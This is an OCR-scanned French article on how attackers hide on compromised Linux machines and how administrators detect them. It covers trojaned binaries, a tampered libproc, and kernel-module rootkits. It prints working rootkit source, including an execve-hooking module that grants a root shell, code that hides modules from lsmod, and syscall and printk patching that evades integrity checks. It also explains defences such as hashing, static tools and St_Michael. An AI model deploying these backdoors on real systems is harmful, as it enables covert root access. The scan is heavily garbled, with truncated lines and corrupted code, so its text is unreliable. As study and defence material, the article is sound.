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Compromission

Dans cet article, nous partons de I'hypothése qu’un pirate est parvenu a entrer sur le systeme,
soucier de la méthode. Nous considérons qu'il dispose de tous les droits (administrateur, root...
machine. Le systéme entier n’est alors plus digne de confiance, méme si tous ses outils semble
indiguer le contraire. Il a nettoyé ses traces dans les logs... bref, il est installé confortablement ¢
systeme.

Son premier but va étre de se faire le plus discret possible afin que I'administrateur de la machi
détecte pas sa présence. Ensuite, une fois que ces précautions sont prises, il installe tous les ¢
a besoin, selon les buts qu'il poursuit. Bien sdr, s’il cherche a détruire les données de la machir
pas a prendre cette peine.



De son c6té 'administrateur ne peut pas rester connecté en permanence sur sa machine, a I'éc
moindre connexion. Cependant, il est essentiel gqu’il détecte au plus vite tout présence indésirés
effet, le systeme compromis sert alors de rampe de lancement pour différents programmes du |
IRC, DDOS,... ). Dans le cas d’un sniffer par exemple, il récupere ainsi tous les paquets qui trat
sur le réseau. Or, de nombreux protocoles ne chiffrent ni les données, ni les mots de passe (co
tel net, rl ogin, pop3, et beaucoup d’autres encore). Donc, plus I'attaquant dispose de temps, p
contrble s’étend sur le réseau auquel appartient la machine compromise.

Une fois sa présence détectée, un autre probleme survient : nous ne savons pas ce que le pira
sur le systeme. Il a probablement corrompu les commandes de base et outils de diagnostic pot
dissimuler. Il faut donc posséder une méthode qui garantit de ne pas oublier quoique ce soit, sc
de voir le systéme a nouveau compromis.

La derniére question releve des mesures a prendre. Deux politiques s’affrontent. Soit I'administ
choisit de réinstaller intégralement le systeme, soit il remplace uniquement les fichiers corromp
une réinstallation compléte prend souvent beaucoup de temps, rechercher tous les programme
en étant certain de ne pas en oublier, n’en est pas moins minutieux.

Quelle que soit la méthode choisie, il est recommandé de faire une sauvegarde du systeme cot
afin de découvrir les méthodes employées par le pirate. De plus, il se peut que cette machine p
a une attaque de plus grande envergure, qui entraine des poursuites a votre égard. Ne pas effe
sauvegarde peut alors étre assimilé a de la destruction de preuves ... qui pourraient en outre se
innocenter.

L’invisibilité existe ... je I'ai vue !

Nous allons présenter ici quelques unes des différentes méthodes employées pour devenir invi
un systéme compromis et s’assurer de conserver des privileges maximum sur le systeme explc

Avant d’entrer dans le vif du sujet, précisons tout d’abord quelques termes de vocabulaire :

® trojan: il s’agit d’'une application qui prend I'apparence d’une autre. Sous couvert d’'une
fonctionnalité connue de l'utilisateur, le programme entreprend en secret d’autres actions,
au détriment de celui-ci. Par exemple, elle peut cacher des données du systeme afin de d
les connexions en cours.

® backdoor : ce terme s’emploie pour décrire un point d’acces non documenté a un programi
général, il s’agit d’options servant aux développeurs pour atteindre les données manipulée
I'application dans laquelle la backdoor a été implantée.

Une fois sur un systéme compromis par ses soins, le pirate a besoin de ces deux types de proc
Les backdoors l'autorisent a entrer sur la machine, méme si I'administrateur prend soin de char
les mots de passe. Les trojans lui permettent essentiellement de rester invisible.

Dans la suite, nous ne nous soucierons pas de savoir si on parle de trojans ou de backdoors. N
de montrer les techniques qui existent pour les mettre en oeuvre (elles sont essentiellement ide



les détecter.

Enfin, signalons que la plupart des distributions Linux offrent un mécanisme d’authentification (i
vérificationa la foisde l'intégrité des fichiers et de leur provenancegm - - checksi g par exemple).
est fortement recommandé de bien la vérifier avant d’'installer quoique ce soit sur votre machine
récupérez une archive corrompue et que vous l'installez vous-méme, le pirate n’aura plus rien ¢
Par exemple, c’est ce qui se produit sous Windows avec Back Orifice.

Remplacement des binaires

Dans la préhistoire des systemes Unix, il n’était pas trés difficile de détecter la présence d’'un in
une machine :

® la commandeast indique le(s) compte(s) utilisé(s) par l'intrus, ainsi que I'endroit depuis le:
il s'est connecté et les dates associées ;

® | s affiche les fichiers gis en révele les programmes (sniffer, casseur de mots de passe...)

® net st at affiche les connexions de la machine ;

® i f confi g montre si la carte réseau est en maderi scuous, ce qui permet au sniffer de
récupérer tous les paquets sur le réseau...

Depuis, les pirates ont développé des outils gu’ils substituent & ces commandes. Tout comme |
ont construit un cheval de bois pour piller Troie, ces programmes ressemblent a une chose con
laquelle I'administrateur a confiance. Cependant, ces nouvelles versions dissimulent les inform:
relatives au pirate. Comme les fichiers conservent les mémes timestamps (dates de création et
derniére modification du fichier) que les autre programmes du répertoire, que les checksums n’
changé (via un autre trojan), 'administrateur naif n’y verra que du feu.

Présentation duLi nux Root - Kit

Li nux Root-Kit (I rk) estun classique du genre (bien qu’un peu vieux). Développé initialement
Lord Somer, il en est actuellement a sa cinquieme version. Il existe de nombreux autres root-kit
ne détaillerons ici que les fonctionnalités apportées par celui-ci afin de vous donner une idée pl
des capacités de ces oultils.

Les commandes remplacées offrent des acces privilégiés sur le systeme. Pour éviter qu'ils ne ¢
a une personne utilisant une de ces commandes, ils sont protégés par un mot et pasgma(
défaut), configurable lors de la compilation.

® Les programmes de dissimulation cachent les ressources employées par le pirate aux yet
autres utilisateurs :
O Is,find,locate, xargs oudu ne révéleront pas ses fichiers ;
O ps, top oupi dof dissimuleront ses processus ;
O net st at n'affichera pas les connexions indésirées, en particulier vers les propres dér
pirate, comméi ndshel | , bnc OuU encoreggdr op ;
O killall préservera ses processus ;
O ifconfi g ne montrera pas que l'interface est en nodei scuous (la chaine PROM SC'



apparait normalement lorsque c’est la cas) ;
O cront ab ne listera pas ses travaux ;
O tcpd ne logge pas les connexions spécifiées dans un fichier de configuration ;
O sysl ogd commet cpd.
® Les backdoors permettent au pirate de changer d’identité :
O chf n ouvre un shell root lorsque le mot de passe du root-kit est entré comme nom
d’utilisateur ;
O chsh ouvre un shell root lorsque le mot de passe du root-kit est entré comme nouvea
O passwd ouvre un shell root lorsque le mot de passe du root-kit est entré comme mot ¢
passe ;
O | ogi n autorise le pirate & se connecter sous n’importe quelle identité en fournissant |
de passe du root-kit (désactive alors I'historique) ;
O su se comporte commegi n ;
® Les déemons offrent au pirate un moyen simple d’acces a distance :
O int ed installe un shell root a I'écoute sur un port. Aprés la connexion, le mot de pass
root-kit doit étre saisi en premiere ligne ;
O rshd exécute la commande demandée en tant que root si le username employé est |
passe du root-kit ;
O sshd fonctionne commeogi n mais donne un acces distant ;
® Les utilitaires rendent divers services au pirate :
O fix installe le programme corrompu en conservant le timestamp et la checksum de
I'original ;
O linsniffer capture les paquets pour récupérer des mots de passe et autre ;
O sni f f chk vérifie que le sniffer fonctionne toujours ;
O wt ed permet I'édition, et la modification du fichiet np ;
O z2 efface les entrées indésirées dans, ut mp etl astl og ;

Ce root-kit classique est dépassé par ceux de nouvelle génération qui attaquent directement le
systeme. De plus, les versions des logiciels qu’il affecte ne sont plus d’actualité.

Détection de ce type de root-kit

A condition de mener une politique sécuritaire rigoureuse, ce type de root-kit est facilement dét
La cryptographie nous fournit, avec les fonctions de hachage, I'outil parfait pour ceci :

[1 rk5/ net-tools-1.32-al pha]# md5sumifconfig
086394958255553f 6f 38684dad97869e ifconfig
[1rk5/net-tool s-1.32-al pha]# md5sum ‘ whi ch ifconfi g
f 06cf 5241da897237245114045368267 /sbhin/ifconfig

Sans savoir exactement ce qui a été modifie, on constate tout de suite que la versiont deg
installée et celle dur k5 different.

Ainsi, des que l'installation d’'une machine est terminée, il est nécessaire de créer une sauvega
compléte des fichiers sensibles (nous reviendrons sur la notion de "fichier sensible") sous forme
hachés dans une base de données, afin de détecter le plus rapidement possible la moindre alté

La base de données doit étre placée sur un support protégé en phyisimaement(disquette, CD nc
ré-inscriptible...). Considérons que le pirate a obtenu des droits similaires a ceux de I'administre



le systeme. Si la base de données est située sur une partition montée en read-only, il suffit au |
remonter en read-write, de mettre a jour la base puis de remettre la partition en read-only. S'il €
consciencieux, il prendra méme soin de corriger les timestamps. Ainsi, lorsque vous effectuere.
prochain test d'intégrité, aucune différence ne sera révélée. |l apparait alors que méme les droi
super-utilisateur ne doivent suffire & mettre a jour la base de données.

Ensuite, lorsque vous mettez a jour votre systéme, vous faites de méme avec cette sauvegarde
maniére, si vous contrélez également I'authenticité de vos mises a jour, vous étes a méme de ¢
moindre modification indésirée.

Cependant, la vérification de I'intégrité d’un systéme repose deux conditions nécessaires :

1. les hachés calculés a partir des fichiers du systeme doivent étre comparés a des hachés «
l'intégrité ne peut étre mise en doute, d’ou la nécessité de sauvegarder sur un support en
seule la base de données ;

2. les outils employés pour vérifier I'intégrité doivent étre sains.

Ainsi, toute vérification du systéme doit se faire a I'aide d’outils provenant d’un autre systeme, r
compromis.

Utilisation deslibrairies dynamiques

Comme nous venons de le voir, réussir a se rendre invisible nécessite de modifier beaucoup d’
du systéme. De multiples commandes permettent de détecter la présence d’un fichier, et chacu
doit étre modifiée. Il en va de méme pour les connexions réseau de la machine ou encore les p
courants. Le moindre oubli s’avere fatal pour la discrétion.

A I'heure actuelle, pour éviter d’avoir des programmes trop gros, la plupart des binaires font apj
bibliotheques dynamiques. Pour résoudre le probleme évoqué précédemment, une solution plu
consiste a aller modifier non plus chacun des binaires, mais seulement les fonctions nécessaire
bibliotheque adéquate.

Prenons I'exemple d’un pirate qui veut modifier I'uptime d’'une machine parce qu’il vient de la re
Cette information est fournit par le systéme via différentes commandesypelles, w, t op

Pour connaitre les librairies nécessaires a ces binaires, nous nous servons de la cotamande

[ pappy] # 1dd ‘which uptinme' ‘which ps' ‘which top
[ usr/bin/uptinme:
libproc.so0.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
libc.so.6 =>/lib/libc.so.6 (0x40032000)
/[lib/ld-l1inux.so0.2 => /lib/ld-1inux.so.2 (0x40000000)
/ bi n/ ps:
libproc.so0.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
libc.so.6 =>/lib/libc.so.6 (0x40032000)
/[lib/l1d-l1inux.so0.2 => /lib/ld-1inux.so.2 (0x40000000)
/usr/ bin/top:
libproc.so0.2.0.7 => /lib/l
[

bproc.so.2.0.7 (0x40025000)
i bncurses.so.5 => fusr/lib/l

[
b/ li bncurses. so.5 (0x40032000)



libc.s0.6 => /lib/libc.s0.6 (0x40077000)
libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
/lib/ld-linux.s0.2 => /lib/ld-linux.s0.2 (0x40000000)

Outre lalibc , la librairie que nous recherchons icilégtroc.so . Il suffit alors de récupérer les
sources pour aller modifier ce qui nous arrange. Nous utiliserons ici la version 2.0.7, placée dar
réepertoiresPROCPS

Les sources de la commanggme (dansuptime.c ) nous signalent que nous devons trouver la
fonctionprint_uptime() (danssPROCPS/proc/whattime.c ) puis la fonctioruptime(double
*uptime_secs, double *idle_secs) (danssPROCPS/proc/sysinfo.c ). Modifions cette derniere a
notre convenance :

/* $PROCPS/proc/sysinfo.c */

. int uptime(double *uptime_secs, double *idle_secs) {
double up=0, idle=1000;

FILE_TO_BUF(UPTIME_FILE,uptime_fd);

if (sscanf(buf, "%lf %If", &up, &idle) < 2) {
fprintf(stderr, "bad data in " UPTIME_FILE "\n");
return O;

)
): #ifdef LIBROOTKIT
© A

1

2

3

4

5

6

7

8

9

10

11

12 char *term = getenv("TERM");
13:  if (term && stremp(term, "satori"))
14: up+=3600 * 24 * 365 * log(up);
15; }

16: #endif /*_LIBROOTKIT_*/

17:

18

19

20

21

22

SET_IF_DESIRED(uptime_secs, up);
SET_IF_DESIRED(idle_secs, idle);

return up; [* assume never be zero seconds in practice */

)

Le simple ajout, par rapport a la version initiale, des lignes 12 a 18 incluses change le résultat
par la fonction. En effet, si la variable d’environnenmegrMne contient pas la chainsatori ", alors
la variableup est incrémentée proportionnellement au logarithme de 'uptime réelle de la machin
la formule employée, I'uptime sera assez vite de plusieurs années :)

Pour compiler notre nouvelle bibliotheque, nous avons ajouté les ofEiQMROOTKIT_ et-im (pour
le log(up); ). Lorsqu’on regarde avedd les bibliotheques nécessaires a I'exécution d’un binaire
utilisant notre fonctiomiptime , on voit alors québm en fait partie. Malheureusement, ce n’est pas
cas des binaires installés sur le systeme. Utiliser notre bibliothéque telle quelle conduit a I'erreu
suivante :

[procps-2.0.7]# Idd ./uptime //cmd compilée avec la nouvelle libproc.so
libm.so.6 => /lib/libm.s0.6 (0x40025000)
libproc.s0.2.0.7 => /lib/libproc.s0.2.0.7 (0x40046000)
libc.s0.6 => /lib/libc.s0.6 (0x40052000)
Nlib/ld-linux.s0.2 => /lib/ld-linux.s0.2 (0x40000000)
[procps-2.0.7]# Idd ‘which uptime* //cmd d’origine
libproc.s0.2.0.7 => /lib/libproc.s0.2.0.7 (0x40025000)



libc.so.6 => /lib/libc.so.6 (0x40031000)

/1ib/ld-linux.so.2 =>/lib/ld-1inux.so.2 (0x40000000)
[procps-2.0.7]# uptine //cnd d’ origine
uptime: error while |oading shared libraries: /lib/libproc.so.2.0.7:
undefined synbol : | og

Pour ne pas recompiler chacun des binaires, il suffit de forcer I'utilisation de la bibliotheque stat
math lors de la création déebproc. so :

gcc -shared -W, -sonane, |l i bproc.so0.2.0.7 -0 libproc.so0.2.0.7 alloc.o
conpare. o devnane.o ksym o output.o pwcache.o readproc.o signals.o status.o
sysinfo.o version.o whattime.o /usr/lib/libma

Ainsi, la fonctionl og() est incorporée directement damspr oc. so. Il faut que la bibliotheque
modifiée conserve les mémes dépendences que l'originale, sans quoi les binaires qui y font ap|
peuvent plus fonctionner.

[ pappy] # uptine
2:12pm up 7919 days, 1:28, 2 users, |oad average: 0.00, 0.03, 0.00

[ pappy] # w

2:12pm up 7920 days, 22:36, 2 users, |oad average: 0.00, 0.03, 0.00
USER TTY FROM LOGN@ |IDLE JCPU PCPU WHAT
raynal ttyl - 12: 01pm

1:17m 1.02s 0.02s xinit /etc/X11l/
raynal pts/0 - 12: 55pm

1:17m 0.02s 0.02s /bin/cat

[ pappy] # top ,
2:14pm up 8022 days, 32 min, 2 users, |oad average: 0.07, 0.05, 0.00

51 processes: 48 sleeping, 3 running, 0 zonmbie, O stopped

CPU states: 2.9%user, 1.1%system 0.0%nice, 95.8%idle

Mem 191308K av, 181984K used, 9324K free, OK shrd, 2680K buf f
Swap: 249440K av, OK used, 249440K free 79260K cached

[ pappy] # export TERME=sat ori

[ pappy] # uptine
2:15pm up 2:14, 2 users, |oad average: 0.03, 0.04, 0.00

[ pappy] # w
2:15pm up 2:14, 2 users, |oad average: 0.03, 0.04, 0.00
USER TTY FROM LOGN@ |IDLE JCPU PCPU WHAT
raynal ttyl - 12: 01pm
1:20m 1.04s 0.02s xinit /etc/X11/
raynal pts/0 - 12: 55pm

1:20m 0.02s 0.02s /bin/cat

[ pappy] # top , o
top: Unknown termnal "satori" in $TERM

Tout fonctionne presque parfaitement. Il sembletgeutilise la variable d’environnemenERM pour
gérer son affichage. Il vaut mieux utiliser une autre variable pour passer le signal indiquant de ¢
véritable valeur.

La mise en oeuvre nécessaire a la détection de modifications dans les bibliotheques dynamiqu
identique a celle évoquée précédemment. |l suffit d’en vérifier le haché. Malheureusement, de t
nombreux administrateurs négligent de les calculer et se contentent des répertoires clasisiques



/'sbin,/usr/bin,/usr/sbin,/etc...) alors que tous les répertoires contenant ces bibliothéques
tout autant sensibles.

Mais l'intérét de modifier des bibliotheques dynamiques ne réside pas uniquement dans la poss
d’influencer plusieurs binaires en méme temps. Les programmes qui vérifient I'intégrité font eux
parfois appels a de telles bibliotheques. Ceci est tres dangereux ! Sur un systéme sensible, tou
programmes vitaux doivent étre compilés en statique, afin que les modifications subies par les
bibliotheques ne s’y répercutent pas.

Ainsi, le programmendssumemployé précédemment s’avere risqué :

[ pappy] # 1dd ‘ whi ch nd5sum
l[ibc.so.6 => /lib/libc.so.6 (0x40025000)
/[lib/ld-l1inux.so0.2 => /lib/ld-1inux.so.2 (0x40000000)

Il fait appel dynamiquement a des fonctions de le&c qui ont pu étre modifiées (le voir avea - D
“whi ch md5sum ). Par exemple, lorsqu’uropen() est effectué, il suffit de vérifier le chemin vers le
fichier demandé. S'il correspond a celui d’'un programme piraté, alors on le redirige vers le prog
initial, que le pirate a pris soin de conserver caché quelque part sur le systéme.

Cet exemple assez simpliste montre déja les possibilités offertes pour tromper les tests d’intégr
avions vu gqu'’ils devaient étre conduits a partir d'outils externes au systeme compromis (cf. la pi
les binaires). Nous apprenons maintenant qu’ils ne servent a rien s’ils font eux-méme appel a d
fonctions du systéme compromis.

Dés a présent, nous pouvons constituer une trousse d’urgence pour détecter la présence du pil
® | s pour trouver ses fichiers ;
® ps pour contrbler I'activité des processus ;
® netstat pour superviser les connexions réseau ;
® i fconfi g pour connaitre I'état des interfaces réseau.

Ces programmes constituent le minimum vital. Cependant, d’autres commandes se révelent ég
trés instructives :

® | sof liste tous les fichiers ouverts sur le systéme ;
® fuser identifie les processus qui utilisent un fichier.

Signalons gu’elles ne servent pas uniquement lorsque nous recherchons a détecter la présenct
pirate, mais également pour diagnostiquer des pannes sur le systeme.

Il va de soi quéous les programmes présents dans la trousse de secours doivent étre compilés
statiquement Nous venons de voir que les bibliothéques dynamiques peuvent étre fatales.

Linux Kernel Module (LKM) for fun and profit

De méme vouloir modifier tous les binaires capables de détecter la présence d’un fichier, souh:



contrbler toutes les fonctions de toutes les bibliotheques releve de I'impossible. "Impossible”, di
? Pas tout a fait. Un petit village résiste encore et toujours a I'envahisseur ... mais plus pour lon

Une nouvelle génération de root-kits a fait son apparition. lls attaquent directement le noyau.
Portée d'un LKM

lllimitée ! Comme son nom l'indique, un LKM agit directement dans I'espace du noyau, il a donc
a tout et peut tout contrdler.

Pour un pirate, un LKM permet de :

rendre invisible des fichiers, comme ceux produit par un sniffer ;

filtrer le contenu d’un fichier (supprimer son IP des logs, les numéros de ses processus...)
sortir de prisondhr oot ) ;

dissimuler I'état du systéme (mode promiscuous) ;

dissimuler des processus ;

sniffer ;

ménager des backdoors...

La liste est aussi longue que le pirate a d'imagination. Cependant, comme c’était déja le cas av
méthodes présentées auparavant, un administrateur peut recourir aux mémes outils, et prograr
propres modules pour défendre son systéme :

® contrdler I'ajout et la suppression de modules ;

® superviser la modification de certains fichiers ;

® interdire I'utilisation de programme a certains utilisateurs ;

® ajouter un mécanisme d’authentification pour certaines actions (passer une interface en nr
promiscuous...)

Comment se protéger contre les LKMs ? Lors de la compilation, il est possible de désactiver le
des modules (répondre NcaNFI G MODULES) ou bien de ne pas en sélectionner lorsque c’est poss|
(i.e. ne réepondre que Y ou N). Ceci conduit a un noyamnaiblithique.

Cependant, méme si le noyau ne supporte pas les modules, il est quand méme possible d’en ¢
mémoire (méme si ce n'est pas la chose la plus simple). Silvio Cesare a écrit le prokjrasmowequi
permet d’aller attaquer directement le noyau via le deéviee/ kmemqui gére la mémoire occupée p:
celui-ci (lire runtime-kernel-kmem-patching.txt sur sa page).

Pour résumer la programmation de modules, tout repose sur deux fonctions au nom assez exp!
i nit_modul e() etcl eanup_nodul e() . Elles définissent le comportement du module. Mais surtour
comme elles sont exécutées dans I'espace du noyau, elles ont acces a tout ce qui se passe da
mémoire du noyau, comme les appels systéme ou les symboles.

Par ici I'entrée s’il vous plait !

Nous allons présenter l'installation d’'une backdoor via un Ikm. L'utilisateur qui voudra obtenir ut
root n'aura qu’a exécuter la commarnda@ec/ passwd. Certes, ce fichier n’est pas une commande.



Cependant, comme nous détournons l'appel systgmexecve(), nous le redirigeons vers la
commande bi n/ sh, en s’arrangeant pour transmettre les droits root sur ce shell.

Ce module a été testé sur plusieurs noyaux~: 2.2.14, 2.2.16, 2.2.19, 2.4.4. |l fonctionne parfaite
tous ces noyaux. Cependant, sur un 2.2.19smp-owl (multi-processeurs avec patch Openwall),
est bien ouvert, il ne donne pas les priviléges root :( Le noyau est vraiment quelque chose de s
fragile, alors prenez garde a ce que vous faites ... Par allleurs, les fichiers indiqués le sont par r
I'arborescence classique des sources du noyau.

/* rootshell.c */
#def i ne MODULE
#define _ KERNEL

#i f def MODVERSI ONS
#i ncl ude <l i nux/ nodver si ons. h>
#endi f

#i ncl ude <linux/config.h>
#i ncl ude <l i nux/stddef. h>
#i ncl ude <l i nux/nodul e. h>
#i ncl ude <l i nux/kernel.h>
#i ncl ude <linux/ nm h>

#i ncl ude <sys/syscall.h>

#i nclude <linux/snmp_l ock. h>

#i f KERNEL_VERSI ON(2, 3,0) < LI NUX VERSI ON_CCDE
#i ncl ude <l i nux/sl ab. h>
#endi f

int (*old _execve)(struct pt_regs);
extern void *sys call _table[];
#defi ne ROOTSHELL "[rootshell]
char magic_cnd[] = "/bin/sh";

i nt new execve(struct pt_regs regs) {
int error;
char * filenanme, *new _exe = NULL
char hacked cnd[] = "/etc/passwd”;

| ock_kernel ();
filenane = getnane((char *) regs.ebx);

printk(ROOTSHELL " .%. (%l/ %/ %/ %) (%/ %/ %/ %)\ n", fil enane,
current->uid, current->euid, current->suid, current->fsuid,
current->gid, current->egid, current->sgid, current->fsgid);

error = PTR ERR(fil enane);
if (I1S_ERR(filenane))
goto out;

if (mencnp(fil ename, hacked cnd, sizeof (hacked cmd) ) == 0) {
printk(ROOTSHELL " CGot it :)))\n");
current->uid = current->euid = current->suid

= current->fsuid
current->gid = current->egid = current->sgid

current->fsgid

cap_t(current->cap_effective) = ~0;



cap_t(current->cap_inheritable) = ~0;
cap_t(current->cap_pernmtted) = ~0;

new_exe = nagi c_cnd,;
} else
new exe = fil enaneg;

error = do_execve(new exe, (char **) regs.ecx, (char **) regs.edx, & egs);
if (error == 0)

#i f def PT_DTRACE [* 2.2 vs. 2.4 */
current->ptrace & ~PT_DTRACE
#el se
current->fl ags & ~PF_DTRACE
#endi f
put name(fil enane);
out :

unl ock_kernel ();
return error;

}
int init_nodul e(void)
| ock_kernel ();
print k(ROOTSHELL "Loaded :)\n");

#defi ne REPLACE(x) ol d_##x = sys_call _table[__NR ##x];\
sys_cal | _tabl e[ __NR ##x] = new ##Xx

REPLACE( execve) ;

unl ock_kernel ();
return O,

}

voi d cl eanup_nodul e(voi d)

{
#defi ne RESTORE(X) sys_call _table[_NR ##x] = ol d_##x
RESTORE( execve) ;

print k(ROOTSHELL "Unl oaded : (\n");

Vérifions que tout fonctionne comme nous le souhaitons :

[root @harly rootshell]$ insnod rootshell.o
[root @harly rootshelI]$ exit

exit

[ pappy] # id _

ui d=500( pappy) gi d=100(users) groups=100(users)
[ pappy] # / etc/ passwd

[root @harly rootshell]$ id

ui d=0(root) gid=0(root) groups=100(users)
[root @harly rootshell]$ rmmod rootshel
[root @harly rootshelI]$ exit

exit

[ pappy] #

Apreés cette courte démonstration, jetons également un coup d’oeil au contenu du fichier
/var /1 og/ ker nel , chargé pasysl ogd d’enregistrer tous les messages émis par le naygau. (*



/var/ | og/ kernel dang etc/ sysl ogd. conf) :

May 25 11:24:41 charly kernel
May 25 11:24:53 charly kernel

(100/ 100/ 100/ 100)

May 25 11:24:59 charly kernel

(100/ 100/ 100/ 100)

May 25 11:24:59 charly kernel
May 25 11:25:02 charly kernel
May 25 11:25:07 charly kernel
May 25 11:25:10 charly kernel

[rootshell]
[rootshell]

[rootshel ]

[ rootshell
[ rootshell
[ rootshell
[ rootshell

————

Loaded :)
./usr/bin/id. (500/500/500/500)

./l etc/passwd. (500/500/500/500)
Got it :))
/

.fusr/bin/id. (0/0/0/0) (0/0/0/0)
./ sbin/rmod. (0/0/0/0) (0/0/0/0)
Unl oaded : (

En modifiant Iégérement ce module, un administrateur dispose d’un excellent outil de surveillan
effet, toutes les commandes lancées sur le systeme sont enregistrées dans les logs du noyau.

regs. ecx contient*ar gv etregs. edx **envp, ce qui, avec la structuear rent qui décrit la tache el
cours, permet d’obtenir toutes les informations nécessaires pour savoir a chaque instant ce qui

Détection et prévention

Du point de vue administrateur, le test d’'intégrité ne permet plus de découvrir la présence de ce
(en fait, ce n’est pas tout a fait exact car ce module est tres simple). Nous allons donc analyser
potentiellement laissées par de tels root-kits :

® fichiers cachésr.oot shel I . o n’est pas invisible sur le systeme de fichier parce que ce mod
simpliste. Toutefois, il suffit de redéfirdys_get dent s() pour rendre notre fichier indétectabl
® processus visibles : le shell ouvert ici apparait dans la liste des taches, ce qui peut révéler
présence indésirée sur le systeme. En redéfinisganti 11 () et un nouveau signal
SI G NvI SI BLE, il suffit ensuite d’ignorer tous les accés a des fichiers marquég glans(voir le

Irk adore) ;

® présent dans la liste des modules : la commasge fournit une liste des modules présents ¢

mémoire :

[root @harly nodul e]$ | snod
Size Used by

Modul e

r oot shel
enmulOk1l
soundcor e

832 0

41088
2384

(unused)

[ enul0k1]

Quand un module est chargé, il est placé en téte de laditee | i st contenant tous les
modules présents en mémoire puis son nom est ajouté au fishoer nodul es. | smod parcourt
ce dernier a la recherche d’informations. Retirer ce modutedig e | i st permet de le faire

disparaitre depr oc/ nodul es :

int init_nodul e(void) {

if'(!nndule_list->next)

return -1;

//this is the only nodule :(

/1 This works fine because _ this npdule == nodul e_l|i st
modul e i st = nodul e_|ist->next;

... ]



Malheureusement, cette manipulation interdit de retirer ensuite le module de la mémoire, i
d’en conserver I'adresse quelque part.
® symboles dansproc/ ksyms : ce fichier contient la liste des symboles accessibles dans l'esg

noyau :
- _
e00c4lec nmmgic_cnd [rootshel |]
e00c4060 __insnpd_rootshell S.text L281 [rootshell]
e00c4lec __insnod_rootshell _S.data L8 [rootshel |]
e00c4180 __insnod_rootshell _S.rodata_L107 [rootshel ]

[...]

La macroEXPORT_NO_SYMBOLS, définie dans ncl ude/ | i nux/ modul e. h, signale au compilateur
gu’aucune fonction ou variable définie dans le fichier n’est accessible en dehors du modul
lui-méme :

int init_nodul e(void) {

[0 ]
EXPORT_NO_SYMBOLS;

... ]

Cependant, sur les noyaux 2.2.18, 2.2.19 et 2.4.x ( x<=3 - je ne sais pas pour les autres),
symboles i nsnod_* restent visibles. Retirer le modulerd®iul e_| i st efface également les
symboles exportés der oc/ ksyns.

Les problémes/solutions présentés ici s’appuient sur des commandes issues de lI'espace utilisa
bon LKM utilisera toutes ces techniques pour se rendre invisible.

Il existe toutefois deux solutions pour détecter ces root-kits. La premiéere consiste a utiliser le de
/ dev/ kmempour comparer ce qui est présent dans cette image de la mémoire du noyau avec ce
déclaré publiguement dansr oc. Un outil commekst at permet d’aller fouiller dansdev/ kmem pour
vérifier les processus présents sur le systeme, les adresses des appels systéeme Ddi&utiote
Loadable Kernel Modules (LKMJe Toby Miller décrit comment utilise@st at pour détecter de tels
root-kits.

Une autre approche consiste a détecter toute tentative de modifications de la table des appels ¢
Le modulest _M chael de Tim Lawless propose une telle supervision. Les informations qui suive
sont susceptibles de changer car le module est encore en cours d’élaboration a I’heure de la ré
cet article.

Comme nous l'avons vu sur I'exemple précédent, les Ikms root-kits reposent sur la modification
table des appels systeme. Une premiére solution consiste alors a sauvegarder leur adresse dal
tableau secondaire et a redéfinir les appels qui gérent les megkilési t _rmodul e() et

sys_del et e_nodul e() . Ainsi, apres le chargement de chaque module, on vérifie que I'adresse ¢
toujours :

/* Extrait du nodule St_M chael de TimLaw ess */

asnl i nkage | ong



sminit_nmodul e (const char *nane, struct nodule * nod_user)

{
int init_nodul e return;
register int i;
init_nodule return = (*orig_init_nodul e)(nane, nod_user);
/-k
Verify that the syscall table is the sane.
If its changed then respond
We coul d probably make this a function in itself, but
why spend the extra tinme making a call?
*/
for (i = 0; i < NR.syscalls; i++) {
if ( recorded sys call _table[i] !'= sys call _table[i] ) {
int j;
for (i =0; i < NR.syscalls; i++)
sys_call _table[i] = recorded_sys_call _table[i];
br eak;
}
} .
return init_nodul e return;
}

Cette solution permet de se prémunir contre les [km root-kits actuels mais elle est loin d’étre pa
sécurité est une sorte de course a I'armement, et voici un moyen de contourner cette protectior
gue de modifier 'adresse de I'appel systéme, pourquoi ne pas modifier le code d’appel systeme
lui-méme ? Cette technique est décrite dans stealth-syscall.txt de Silvio Cesare. L'attaque remg
premiers octets du code de I'appel systeme par I'instrugtiom" &new syscal | " (ici en pseudo
Assembleur) :

/* Extrait de stealth_syscall.c (Linux 2.0.35) par Silvio Cesare */

static char new syscall _code[7] =
"\ xbd\ x00\ x00\ xO0\ x00" /* novl $0, %ebp */
"\ xf f\xeb" /* jmp *%ebp */

int init_nodul e(void)

*(long *)&new syscal | _code[ 1] = (I ong)new syscall

_mencpy(syscall _code, sys call _tabl e[ SYSCALL_NR], sizeof(syscall _code));
_mencpy(sys_call _tabl e[ SYSCALL_NR], new syscall _code, sizeof(syscall _code));
return O;

}

Tout comme nous protégeons nos binaires et bibliotheques avec des tests d’'intégrité, la méme
s’impose ici. Il nous faut conserver un haché du code machine de chaque appel systéme. Nous
travaillons actuellement a cette mise en oeuvre gang chael en modifiant I'appel-systéme

i nit_modul e() de sorte a ce qu’un test d’'intégrité soit effectué apres le chargement de chaque

Cependant, méme ainsi, il est possible de contourner le test d’'intégrité (les exemples sont issus
correspondance entre Tim Lawless, Mixman et moi-méme ; les sources sont dues a Mixman) :

1. Modification d’'une fonction autre qu’un appel-systeme : le principe est le méme qu’avec ul



appel-systeme. Damst_module() , on modifie les premiers octets d’'une fonctipik()
dans I'exemple) pour que cette fonction "saute™ versadked_printk()

[* Extrait de printk_exploit.c par Mixman */
static unsigned char hacked = 0;

/* hacked_printk() effectue les remplacements d'appel-systeme.
Ensuite, on effectue le printk() normal pour que tout
fonctionne correctement */

asmlinkage int hacked_printk(const char* fmt,...)

{

va_list args;

char buf[4096];

int i

if(!fmt) return O;

if(lhacked) {
sys_call_table[SYS_chdir] = hacked_chdir;
hacked = 1;

memset(buf,0,sizeof(buf));
va_start(args,fmt);

i = vsprintf(buf,fmt,args);
va_end(args);

return i;

Ainsi, le test d’'intégrité placé dans la redéfinitionrdemodule()  , confirme qu’aucun
appel-systeme n’a été modifié lors du chargement. Cependant, au prochain appel de la fo
printk) , le changement prend place...

Pour contrer ceci, le test d’intégrité doit étre étendu a I'ensemble des fonctions du noyau.
. Utilisation d’'un timer : danait_module()  , la déclaration d’un timer active la modification b
apres le chargement du module. Ainsi, comme les tests d’intégrité étaient prévus uniquen
(dé)chargement de modules, I'attaque passe inapercue :(

